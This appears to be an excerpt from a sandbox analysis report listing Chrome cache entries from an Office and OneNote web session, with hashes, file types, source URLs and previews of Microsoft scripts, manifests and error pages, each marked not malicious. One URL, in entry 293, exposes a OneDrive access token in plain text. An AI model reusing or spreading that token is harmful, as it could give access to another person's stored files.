Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2808
Entropy (8bit):	5.160810588598458
Encrypted:	false
SSDEEP:	48:c2Ax81yLGQoDXNJ1CiVc+sv+sYz4zEf0O0XvmEkY2LFd/mAeUEEZDEs6l:7AMyaQoDXbNvs2sYz4zy9c+EkhDmADEh
MD5:	C2EE1D789CF6FC61AEB0B76399FB0E64
SHA1:	E55F7A87DD76AECBEDFB84347F07A75F283D58C6
SHA-256:	AFACB4EBFE0700B8192FDBC3B0F1D776C4B3C73E1B192F955C47C870DDD73989
SHA-512:	ED8B8A4CAFF3C6D479BE412D24A2B02DDA6C52B8AF562426CE6EC8D21B6223DB7EB53BE005687F3EA4441296E13C6D28B983C7FEDBEDD566C3F915E69700E200
Malicious:	false
URL:	https://fa000000012.resources.office.net/033f92d3-bc6d-439a-858a-a17acf70360a/1.0.2409.20006/en-us_web/manifest_web.xml
Preview:	<?xml version="1.0" encoding="UTF-8"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0" xmlns:ov="http://schemas.microsoft.com/office/taskpaneappversionoverrides" xsi:type="TaskPaneApp">.. <Id>93155735-fd84-4d6f-9433-305bdb6cb523</Id>.. <Version>1.0.0.0</Version>.. <ProviderName>Microsoft Corporation</ProviderName>.. <DefaultLocale>en-US</DefaultLocale>.. <DisplayName DefaultValue="Help" />.. <Description DefaultValue="In-App Help provided by support.office.com" />.. <IconUrl DefaultValue="https://support.office.com/images/inapp-help-icon-32.png" />.. <HighResolutionIconUrl DefaultValue="https://support.office.com/images/inapp-help-icon-80.png" />.. <SupportUrl DefaultValue="http://support.office.com" />.. <AppDomains>.. <AppDomain>https://login.live.com</AppDomain>.. <AppDomain>https://login.live-int.com</AppDomain>.. <

Chrome Cache Entry: 285

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	3.2776134368191165
Encrypted:	false
SSDEEP:	3:LUQ9:LUA
MD5:	825644F747BAAB2C00E420DBBC39E4B3
SHA1:	10588307553E766AB3C7D328D948DC6754893CEF
SHA-256:	7C41B898C5DA0CFA4AA049B65EF50248BCE9A72D24BEF4C723786431921B75AA
SHA-512:	BFE6E8DF36C78CBFD17BA9270C86860EE9B051B82594FB8F34A0ADF6A14E1596D2A9DCDC7EB6857101E1502AFF6FF515A36E8BA6C80DA327BC11831624A5DAEA
Malicious:	false
Preview:	Bad Request

Chrome Cache Entry: 286

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3527), with no line terminators
Category:	downloaded
Size (bytes):	3527
Entropy (8bit):	5.243451451019216
Encrypted:	false
SSDEEP:	48:G6E6oKn0FmM8LOCvlocJZS1tJM3kL+4UT3LW0IwlQSoIQ90ESf4TmlSYmYBo:9yDWocHS3Wl4W3abOQS/CahlcYW
MD5:	DF2E618F66E5DE074A8070BC09CA3C4F
SHA1:	38F67C978761E4AEAA5341A4FF39C59C1DED221C
SHA-256:	BD0DD2B15855BE52CBA496CC6E8F0FF65FBBA6ADDBA92282E53CECA6B27BFCC9
SHA-512:	6CCA2001607B8DBA825F30116A7CD0FC93A0A32E01931DA86AD4820F883CB1AD25823D61443321525550E0EEDD17E0A018A1B13F6E802050593DE19E721F450B
Malicious:	false
URL:	https://cdn.onenote.net/officeaddins/161821840453_Scripts/Instrumentation.js
Preview:	function GetInstrumentationCategory(){return instrumentationCategory?instrumentationCategory:InstrumentationCategoryString?instrumentationCategory=Diag.ULSCat[InstrumentationCategoryString]:null}function InstrumentLinks(n){for(var t,r=0,i=0;i<n.length;i++)t=n[i],t.id\|\|(t.id="un_"+r,r++),t.onclick=GenerateInstrumentationLink(t.id,t.onclick),t.ondragstart=GenerateDragInstrumentationLink(t.id,t.ondrag),t.oncontextmenu=GenerateContextMenuInstrumentationLink(t.id,t.oncontextmenu)}function LogUserViewPortInfo(){var t=$(window).width(),n=$(window).height(),i=screen.width,r=screen.height,u=$(document).height(),f=n/u100;Diag.ULS.sendTraceTag(6436628,GetInstrumentationCategory(),Diag.ULSTraceLevel.info,"User ViewPort Info;windowWidth={0};windowHeight={1};screenWidth={2};screenHeight={3};percentageOfPageVisible={4};",t,n,i,r,f.toFixed(3))}function UpdateFurthestScrollDepth(){var t=$(window).scrollTop(),i=$(window).height(),r=t+i,u=$(document).height(),n=r/u100;n>furthestScrollDepthPercentage&&(

Chrome Cache Entry: 287

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3795
Entropy (8bit):	4.384880407304791
Encrypted:	false
SSDEEP:	96:K/fGAvScPHMBAQhlrg7uECJYUymTmhI4n3odG39VoP:K/+AvpHJQhaw6ATw7VI
MD5:	76991B7E9BCD02621EF80B91A64FC2A7
SHA1:	7627B55866A8DC958F135E0B5D14073E9F2B27E8
SHA-256:	FDFF1248DD529DF099719E3C95E7C17E9E1253804857CA34C2C053C4A404BADE
SHA-512:	D510217A8DC97C16B26A4CE0D391DD30345CC0A600096E291BC91B5728FAB091250CA3F0467643A78BFDBAF75EC0330F7EC4AD3643D38D38233BA8F4AC09528C
Malicious:	false
Preview:	{"timestamp":1729844360903,"BootstrapperUlsHeartBeatIsEnabled":false,"EnableCommonHostDiagnosticsParams":true,"ShouldLogJsApiKpisForWord":true,"EnableFramePageErrorReportingForWord":false,"EnableWordSessionRefreshTelemetry":false,"EnableWordSessionRefreshLoggingCleanup":false,"BootstrapperSettingsFetchPeriod":60000,"BootstrapperUlsHeartbeatIntervalMs":5000,"BootstrapperMaxUlsHeartbeatTime":600000,"BootstrapperNoCompleteWarning1Time":120000,"BootstrapperNoCompleteWarning2Time":180000,"BootstrapperUlsUploadCadenceMs":60000,"WordRefreshTelemetryExpirationInDays":7,"RequestedCallThrottlingDefaultToViewMinimumValue":"Major","RemoteUlsETag":"C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1","RemoteUlsSuppressions":"378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631

Chrome Cache Entry: 288

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (627)
Category:	dropped
Size (bytes):	4036925
Entropy (8bit):	5.656272828875875
Encrypted:	false
SSDEEP:	49152:zkcGA7xmFJCnIVDk/YToZMGO2zwQBYyJchDazLuanmVh3lkuw3HyW27weqFhWfQJ:9X8EjAAQAA0
MD5:	1C61FE06C85D5FFC9CF7D5B86223536C
SHA1:	344E99D68E02BB0FA288771EC17854808296FB4F
SHA-256:	F2D4A670C00B7D9D0A78E95BF95FDA4F5C70B9972450E08A75E1BB021E580C91
SHA-512:	254A9DFA95B956EE14B79DD0ECD561EFC1A800C6E0070119C478A58870C9404893BE99C3F48780E5B06A1D0C0481315C100DE0C9B3557D15E206A1F7F6A05581
Malicious:	false
Preview:	/. Microsoft Corporation. All rights reserved.. The buffer module from node.js, for the browser... @author Feross Aboukhadijeh <https://feross.org>. @license MIT. ieee754. BSD-3-Clause License. Feross Aboukhadijeh <https://feross.org/opensource> Copyright (c) Microsoft Corporation and contributors. All rights reserved.. Licensed under the MIT License../.'use strict';(function(){function ya(C){var L=H[C];if(void 0!==L)return L.exports;L=H[C]={exports:{}};Sa[C].call(L.exports,L,L.exports,ya);return L.exports}var Sa={15057:function(C,L,d){function k(P,W){return P.toLowerCase().localeCompare(W.toLowerCase())}function h(P){if(!P)return[];let W="";try{w(P).forEach(ea=>{W+=String.fromCharCode(ea)})}catch(ea){W=l(P)}return W.split("\r\n").filter(ea=>ea)}function l(P){try{if(!/^[a-z0-9+/]+={0,2}$/i.test(P)\|\|0!==P.length%4)throw Error("Not base64 string");.let W,ea,da,ba,ua,la,ha,ia;const Y=[];for(let fa=0;fa<P.length;fa+=4)ba="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789

Chrome Cache Entry: 289

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8369), with no line terminators
Category:	dropped
Size (bytes):	8369
Entropy (8bit):	4.927867822572244
Encrypted:	false
SSDEEP:	96:wwKI3zZc4ys873IJ7kx3HPcYaV2klI70JboeVPhHaAtZI88f+L+17XN8GdpF/w67:wZI3zmjLaMkho1lGJK8h/0
MD5:	3650AB0863890CA0F8ED7CB854D03F2B
SHA1:	86530F1BDFE32F6EE2C0B3770C648E13929A22D5
SHA-256:	A77B85A1922F1E45FA8610E3D68CA6CA1EE887499F3148D5922A304D44E03EDF
SHA-512:	9F43BBF3448D687D2FFCD554FC47C7136EEA20685D508140D2496D00A01108326ED32FC16164E59BF32794608DC31C42DD394F44B5E4EF51CA1A7283FFFF006F
Malicious:	false
Preview:	var OnenoteNavpaneStrings={AddPage:"Add page",AriaAddPage:"Add page",AddSection:"Add section",AriaAddSection:"Add section",AriaCollapseNotebookLabel:"Select to go back to the section and page navigation.",AriaPageLabel:"Page. Select to open page contents.",AriaSelectedPageLabel:"Page. Selected. Press Ctrl + F6 to navigate to page contents.",AriaSectionLabel:"Section. Select to switch to this section.",AriaSelectedSectionLabel:"Section. Selected. Press Ctrl + F6 to navigate to page list of the section.",AriaSectionGroupLabel:"Section Group. Select to expand and display inner sections.",AriaVersionLabel:"Version. Select to open version contents.",AriaSelectedVersionLabel:"Version. Selected. Press Ctrl + F6 to navigate to version contents.",AriaConflictLabel:"Conflict. Select to open conflict page contents.",AriaSelectedConflictLabel:"Conflict. Selected. Press Ctrl + F6 to navigate to conflict page contents.",AriaNotebookLabel:"Notebook. Select to switch to this notebook.",AriaNavpaneLabe

Chrome Cache Entry: 290

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	E0AA021E21DDDBD6D8CECEC71E9CF564
SHA1:	9CE3BD4224C8C1780DB56B4125ECF3F24BF748B7
SHA-256:	565339BC4D33D72817B583024112EB7F5CDF3E5EEF0252D6EC1B9C9A94E12BB3
SHA-512:	900110C951560EFF857B440E89CC29F529416E0E3B3D7F0AD51651BFDBD8025B91768C5ED7DB5352D1A5523354CE06CED2C42047E33A3E958A1BBA5F742DB874
Malicious:	false
Preview:	OK

Chrome Cache Entry: 291

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	985
Entropy (8bit):	5.175336884396651
Encrypted:	false
SSDEEP:	24:2dQ4+A88T+Uy8+QQIWZdLIQAEJAoImLFJ1002ev+Es:cWA886hPtIWPIQlJwUFJ1005v+d
MD5:	605C6BD48B2AB0262C0113445494FF4C
SHA1:	00CC6621252EB4930486F4837638A0524E5C77E9
SHA-256:	405497AC72ADA72A30277E2493A9B00B999DF6CE1B425167B8C405AF45EF0338
SHA-512:	53993F9A6359C167302F14F272BF9D8897C2508DF9EFEC38DE1754F9B8737A621C482177981DE9702BEEAC54ACC2EEB1AB166A24533AC2A6FEA7E7C6244AD4F9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0".. xmlns:contentappor="http://schemas.microsoft.com/office/contentappversionoverrides".. xsi:type="ContentApp">.... <Id>bf3a711e-f669-4fd5-8d73-100223695f2b</Id>.. <Version>1.0.0.4</Version>.. <ProviderName>lijia</ProviderName>.. <DefaultLocale>en-US</DefaultLocale>.. The display name of your add-in. Used on the store and various placed of the Office UI such as the add-ins dialog -->.. <DisplayName DefaultValue="Office first party apps sandbox" />.. <Description DefaultValue="Office first party apps sandbox" />.... <Hosts>.. <Host Name="Document"/>.. </Hosts>.... <DefaultSettings>.. <SourceLocation DefaultValue="index.html" />.. </DefaultSettings>.... <Permissions>ReadWriteDocument</Permissions>..</OfficeApp>

Chrome Cache Entry: 292

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65530), with no line terminators
Category:	dropped
Size (bytes):	668160
Entropy (8bit):	5.5355372812426
Encrypted:	false
SSDEEP:	12288:ytvFJBV6UM6CMqObamDngsO3RJaO90baVh0UdW9jC7ICWzTbXm7/:yfJtM6CMqObamDndO3gUdW9jC7ICWzTs
MD5:	2C09ECEDCC26D01D2BF6EB26E7B00702
SHA1:	CDC426462849F616786AD8ACD1BD9EA3E474248F
SHA-256:	41D3F17294A627E15FFA2323AB0F58925D2353255C532BCBAE87E9090E604D01
SHA-512:	36722CB26451515AB809C55F6E164C52D9B845BC467FAE5C216324CFD11749A6AC278C5D0C3770CF46FA71FC32D5BCF9BAA2A06A597FB1CCCEA6B7ADC54A495D
Malicious:	false
Preview:	function asyncGeneratorStep(e,t,o,n,r,i,a){try{var s=e[i](a),l=s.value}catch(e){return void o(e)}s.done?t(l):Promise.resolve(l).then(n,r)}function _async_to_generator(e){return function(){var t=this,o=arguments;return new Promise((function(n,r){var i=e.apply(t,o);function a(e){asyncGeneratorStep(i,n,r,a,s,"next",e)}function s(e){asyncGeneratorStep(i,n,r,a,s,"throw",e)}a(void 0)}))}}function _define_property(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},n=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(o).filter((function(e){return Object.getOwnPropertyDescriptor(o,e).enumerable})))),n.forEach((function(t){_define_property(e,t,o[t])}))}return e}function ownKeys(e,t){var o=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.fi

Chrome Cache Entry: 293

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1233
Entropy (8bit):	5.464953219409053
Encrypted:	false
SSDEEP:	24:hM0mIAvy4WvsqoLBa7JZRGNeHX+AYcvP2wk1TLz+eGFk5:lmIAq1Uq+iJZ+eHX+AdP2edk5
MD5:	11CA4578CB026A23713AEA6781B8ECE3
SHA1:	A05AE51B4A3E2E0076222CBCBE9C58833CDEF108
SHA-256:	C55F527E536DE44C7980FECECE7428AE5A765647495E47008A8A54FA1E434736
SHA-512:	5F57C749A78FF8DFA4D172A11A179D9EC9E036C0A6B2C6059F79B2DCF1114A3D289104B68316B4913A01C54FBBE07FF38D1648BB8534B510C3797433AF6B2158
Malicious:	false
URL:	https://onenote.officeapps.live.com/o/AddinServiceHandler.ashx?action=laststoreupdate&app=4&lc=EN-US&WOPIsrc=https%3A%2F%2Fwopi%2Eonedrive%2Ecom%2Fwopi%2Ffolders%2FA2C259BD24DEB977%211517&access_token=4wjPhHBH0nlrBlym7f9uthso4F76PCTqyS4r1pC4F1k2k4GF3Khv6wB6Vc2ffRC0MzJIk3jHvdlqjmLIFmNLJXioIwgEvef6Q4qerGUxvsuiZZWpcOIoZaVJKXqZbF6u0A4aB9QLt3B58m7U4CtXAmCw&access_token_ttl=1730017122364
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="http://www.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>..<title>403 - Forbidden: Access is denied.</title>..<style type="text/css">.. ..body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..background-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}..-->..</style>..</head>..<body>..<div id="header"><h1>Server Error</h1></div>..<div id="content">.. <div class="co

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	80
Entropy (8bit):	4.773010557409425
Encrypted:	false
SSDEEP:	3:mS/SJhnjiCkj7ui5T8IDqtUPlkk2SY:mS/SJhjhw7uiuIiLk2r
MD5:	FF55249D55143D5EB2DF396FA8A34EE8
SHA1:	D2B08C91DD9FCC8D49BAE85476308230D0BC591F
SHA-256:	216A9426D94326E483B2C11154DE2E303385366841111A4A3DAD5590FF89F0BC
SHA-512:	8C1608B6F69312D5BE76DFDBF4E762BA9B50CDE6BBDECA98274F965764F54465CA336EDD6DC7D76996D3DAEC4CB1D59FE5CFEB3B9EE1820E2771879D460A2DD5
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSHgn7cCTXtDLBNRIFDYmyVeUSBQ3Y2OCyEgUNdSxg6xIeCVmkfESbsDGsEgUNibJV5RIFDdjY4LISBQ11LGDr?alt=proto
Preview:	ChsKBw2JslXlGgAKBw3Y2OCyGgAKBw11LGDrGgAKGwoHDYmyVeUaAAoHDdjY4LIaAAoHDXUsYOsaAA==

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64817)
Category:	downloaded
Size (bytes):	756202
Entropy (8bit):	5.272960395761771
Encrypted:	false
SSDEEP:	6144:h19A7/fCfjXdj49sdiRtw1bb5XfPc7YspF4l9h63NjaD9CihNn+S0nVk3oxS/yYj:NrfmYMc5T
MD5:	D3CD36D061148A303F8E1DFC47F6B2CB
SHA1:	DADE1F0E4A9E31351C121442A7AFEBDE21787D45
SHA-256:	1473F3E79F0EF7F34E3E5AABC1B4209D16F40124F35AECBA6BB26B91372C43C5
SHA-512:	04999F982BF1434B51493ECC3A4BFFFBB498BAEBB8E3F650B9C673AB10686E73451CF26E0479878D49A375B047D129AEA5153B404AC4E1D66A2615BD42EC3EBD
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/osfruntime_ono.js
Preview:	/* Office runtime JavaScript library /../..Copyright (c) Microsoft Corporation. All rights reserved../.../. Your use of this file is governed by the Microsoft Services Agreement http://go.microsoft.com/fwlink/?LinkId=266419... This file also contains the following Promise implementation (with a few small modifications):. * @overview es6-promise - a tiny implementation of Promises/A+.. * @copyright Copyright (c) 2014 Yehuda Katz, Tom Dale, Stefan Penner and contributors (Conversion to ES6 API by Jake Archibald). * @license Licensed under MIT license. * See https://raw.githubusercontent.com/jakearchibald/es6-promise/master/LICENSE. * @version 2.3.0.*/.var __extends=this&&this.__extends\|\|function(){var e=function(t,n){return e=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])},e(t,n)};return function(t,n){if("fu

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1922), with no line terminators
Category:	dropped
Size (bytes):	1922
Entropy (8bit):	5.006174566262526
Encrypted:	false
SSDEEP:	48:yThd/YIWeETNQuFNJMgBVAGzeFWOUutFRVoZjskBWs:U0IWYuPuG3yov
MD5:	3E3CD75B07B521BC61C01450E2C7873A
SHA1:	57D7881E0E878CABE74B1021CF86126148928DE7
SHA-256:	2882BF4B22D0AD63E6F8877EB5C22353921E8C87B197911462933B7D1A7A44B8
SHA-512:	3B1D53CB1F49B2CF8648CEF8EDEB526B924430F2FC622421DF6AB3F61E49449CD5EB8BCCC7E6A019575A4843B0D3C50A69C4B0BF1D1133F960E92969CAC37BE7
Malicious:	false
Preview:	function InitializeUls(){TheUlsHost=new Diag.ConsoleUlsHost;Diag.ULS.setUlsHost(TheUlsHost)}function FlushBrowserUls(){TheUlsHost&&TheUlsHost.dispose();InitializeUls()}var __extends=this.__extends\|\|function(n,t){function r(){this.constructor=n}for(var i in t)t.hasOwnProperty(i)&&(n[i]=t[i]);r.prototype=t.prototype;n.prototype=new r},Diag,TheUlsHost;(function(n){var t=function(){function n(){}return n.prototype.isEnabled=function(){var n=!1;try{typeof Storage!="undefined"&&(n=localStorage.getItem("EnableConsoleLogging")==="true")}catch(t){}return n&&window.console&&window.console.log},n.prototype.error=function(n){window.console.error(n)},n.prototype.warning=function(n){window.console.warn(n)},n.prototype.info=function(n){window.console.info(n)},n.prototype.log=function(n){window.console.log(n)},n}(),i=function(i){function r(r,u){r===void 0&&(r=new t);i.call(this,SessionId,BrowserUlsUploadPath,new n.UlsUploadConfiguration(null,null,null,null,null,null,!0));this._console=r;this._suppress

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2309
Entropy (8bit):	5.312126333896905
Encrypted:	false
SSDEEP:	48:EqQWq6NWqhTY4TbiNWqyNWqPNWqnNWqyrogAdhKUK1n791RapkHTKNqMxNWq+FEd:hQWqGWqbb+WqOWqFWqNWqWcKV1nnsyHO
MD5:	38ACD2581DDCE8D609A132179952BC8E
SHA1:	2600494989D04A5D9D8E1527204F6AEFFE24E34A
SHA-256:	DFE02D88039B1BCE11E296DB4CBE0D9CDE356F3FBBEDEF22BF1B3FEC13345E20
SHA-512:	4BCBFE44F1472177CAEF64803F07175D66082A85BAA33152E95200A56F61AFE56278EE9DE8150ADD6A27D9A8DA7AAE3E2528EFD65795EEB2A420B9155779ABD6
Malicious:	false
URL:	https://www.onenote.com/officeaddins/learningtools/?et=
Preview:	......<!DOCTYPE html>..<html lang="en-US">..<head>...<meta charset="utf-8">...<title></title>......<script type="text/javascript" src="https://cdn.onenote.net/officeaddins/161821840453_Scripts/CommonDiagnostics.js" crossorigin="anonymous"></script>...<script type="text/javascript" src="https://cdn.onenote.net/officeaddins/161821840453_Scripts/BrowserUls.js" crossorigin="anonymous"></script>.......<script>.....var EnableClientSideLogging = true;....</script>......<script type="text/javascript" src="https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.5.0.min.js"></script>...<script type="text/javascript" src="https://cdn.onenote.net/officeaddins/161821840453_Scripts/ExternalResources/js-cookie.js" crossorigin="anonymous"></script>...<script type="text/javascript" src="https://cdn.onenote.net/officeaddins/161821840453_Scripts/pickadate.min.js" crossorigin="anonymous"></script>...<script type="text/javascript" src="https://cdn.onenote.net/officeaddins/161821840453_Scripts/Instrumentation.js" c

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (61584), with CRLF line terminators
Category:	dropped
Size (bytes):	127321
Entropy (8bit):	3.8975903207588436
Encrypted:	false
SSDEEP:	3072:2W5PAXsHQxmPHmLZyb92FcFxSYJVBp0HoU:XA8HQxaG0AExSYJVGN
MD5:	95AA78CD619069BCDE235DEDC3AF5F41
SHA1:	6CD1FB538E2AEF2D14C5D88E905C72713DE7A8D4
SHA-256:	3994D1ABCC40B2E17CF88747F45CB06238F0458DFC1EF57196BBC44065A69C6D
SHA-512:	3D855672A1AFD84F86482A3C5892FCBCD9837F10AA153F6C6A0C63328C3D8FB364B170D2934D8BF0AF4AA81A624C40D131BBC1AE0DA1213A82153C2D8A1A9806
Malicious:	false
Preview:	var CoefficientModelIdMap= {104:'AlignCenter',156:'NT3',17:'faPrint',130:'flyoutOneNoteEdit',6:'HideAllNavCommand',24:'IncreaseIndent',129:'InsertSymbol',91:'NT14',36:'AutomaticFontColor',147:'PictureAbsoluteWidth',46:'ImmersiveReader',111:'Copy',33:'Numbering',134:'floatiefseaIndent',53:'NT1',3:'NT0',88:'btnImmersiveMode',155:'NT15',51:'floatiefontName',65:'Strikethrough',137:'ThemeFontColorPickerMCU',15:'GetHelpFromTellMe',31:'Spelling',127:'EnterMathMode',42:'InsertOnlinePicture',154:'NT10',37:'SetProofingLanguage',56:'ToggleRibbonUXDialog',160:'floatiefsbcUnderline',96:'ToggleBorders',40:'AutoCorrectOptions',119:'SelectTable',177:'InsertEmoji',107:'Paste',62:'FontSize',79:'ToggleAuthorInfoVisibility',82:'MoreEmojis',110:'ClearStyleFormatting',52:'floatiefontSize',86:'btnOpenInClient',112:'ShowSectionsAndPagesCommand',165:'ChangePageColor',32:'Italic',152:'AlignRight',116:'btnEditOnWeb',98:'InsertTable',87:'NT13',140:'InkThicknessDropDownOpen',123:'floatiefseaOutdent',168:'InsertLef

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (18992), with CRLF line terminators
Category:	downloaded
Size (bytes):	19181
Entropy (8bit):	4.3590974373798
Encrypted:	false
SSDEEP:	384:im1leaXgjDSEcE+fg1gKzqF9meWFaUOKco5FXp/kf/oezD:b1leajD0kiDlgMJkIy
MD5:	D9604CC18F364A6ADE707B7FAAEC642C
SHA1:	F38F0B94764184D4373886FDA1CA87D352BFCE5A
SHA-256:	F282423F48F12F56419363384F3B10002C8D3D106BC1AC8FF721602AA2B2FD9B
SHA-512:	7B305607B79F077539E3C37CD46EAFBB9E4C9B2A8825217187515CD20FFBFE204BAC43E918CD4440EB65A3A2DCFFC4140D06B43845613D48566448765B3D5DF4
Malicious:	false
URL:	https://onenote.officeapps.live.com/o/App_Scripts/Acl/Acl1033.js
Preview:	.var AutoCorrectList={"(c)":".","(r)":".","(tm)":".","...":".","abbout":"about","abotu":"about","abouta":"about a","aboutit":"about it","aboutthe":"about the","abscence":"absence","accesories":"accessories","accidant":"accident","accomodate":"accommodate","accordingto":"according to","accross":"across","acheive":"achieve","acheived":"achieved","acheiving":"achieving","acn":"can","acommodate":"accommodate","acomodate":"accommodate","actualyl":"actually","additinal":"additional","addtional":"additional","adequit":"adequate","adequite":"adequate","adn":"and","advanage":"advantage","affraid":"afraid","afterthe":"after the","againstt he":"against the","aganist":"against","aggresive":"aggressive","agian":"again","agreemeent":"agreement","agreemeents":"agreements","agreemnet":"agreement","agreemnets":"agreements","agressive":"aggressive","ahppen":"happen","ahve":"have","allwasy":"always","allwyas":"always","almots":"almost","almsot":"almost","alomst":"almost","alot":"a lot","alraedy":

Chrome Cache Entry: 300

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	27
Entropy (8bit):	3.708048150071232
Encrypted:	false
SSDEEP:	3:HyjJTzMKHJu:HyjNz5pu
MD5:	435B48C70ACA2DC80F8B34B5FDEB2789
SHA1:	FFE2C8567607568F939FA1A6F9888639B98B400C
SHA-256:	6468AC9F9BCA964F3910FC967B80781C1C8634300E36F95AE49056D91A2734BF
SHA-512:	5C73531F908067B986F4F7F1BB423DC6FC4B1CDC9A6C65205658BD2A2499CB53F0F1C4EB928B8B87B189D969C3769F9D97EA5AB1CEA97FE6F18D2DD4AD583C60
Malicious:	false
Preview:	The service is unavailable.

Chrome Cache Entry: 301

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (58392)
Category:	downloaded
Size (bytes):	58441
Entropy (8bit):	5.65377007639572
Encrypted:	false
SSDEEP:	768:HTA9thL2L3Z61NE99ezm2geHWwutV+KIbiufCAP1Jso9o8WBw3CVxBCMrb99vAOV:zA9tALeNEizm2gvsFW8KCPuMyB
MD5:	64CF57DDEFEE6B6909C89A150D729583
SHA1:	027B6EDDE1688950000D6CA19E997C79E03E2C77
SHA-256:	9AFCD14B4FC43E6D091C9A73564E28CA513FB536C19F78C7CA483DF29E610B44
SHA-512:	DB6EE42902F5BE2582A344590FBC65AC9AC39D2CFE36DBF7E530947B453DB92570328BB46D7E9333D0ABB38057B50A73BB276076F7CD6F6B7FD11425C71632A1
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/wp5/oreosearchpane.min.js
